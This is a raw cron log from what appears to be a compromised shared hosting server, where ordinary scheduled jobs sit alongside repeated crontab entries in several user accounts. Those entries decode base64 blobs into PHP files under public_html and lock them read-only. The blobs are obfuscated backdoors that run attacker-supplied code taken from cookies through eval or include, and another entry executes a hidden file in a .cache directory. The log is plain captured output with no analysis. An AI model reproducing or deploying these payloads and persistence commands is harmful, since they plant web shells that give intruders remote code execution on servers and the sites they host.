Mar  1 17:07:02 medusa CROND[23212]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:07:02 medusa CROND[23214]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:07:02 medusa CROND[23215]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:07:02 medusa CROND[23218]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 17:07:02 medusa CROND[23219]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:07:02 medusa CROND[23221]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:07:02 medusa CROND[23222]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:07:02 medusa CROND[23233]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:08:01 medusa CROND[11599]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Mar  1 17:08:02 medusa CROND[11645]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 17:08:02 medusa CROND[11646]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:08:02 medusa CROND[11647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:08:02 medusa CROND[11648]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:08:02 medusa CROND[11649]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:08:02 medusa CROND[11650]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:08:02 medusa CROND[11651]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:08:02 medusa CROND[11652]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:08:02 medusa CROND[11659]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:08:02 medusa CROND[11660]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 17:08:02 medusa CROND[11662]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:08:02 medusa CROND[11671]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:08:02 medusa CROND[11656]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:09:01 medusa CROND[899]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:09:01 medusa CROND[902]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 17:09:01 medusa CROND[903]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  1 17:09:01 medusa CROND[904]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:09:01 medusa CROND[905]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:09:01 medusa CROND[906]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:09:01 medusa CROND[907]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:09:01 medusa CROND[913]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:09:01 medusa CROND[914]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:09:01 medusa CROND[915]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:09:01 medusa CROND[916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:09:01 medusa CROND[921]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
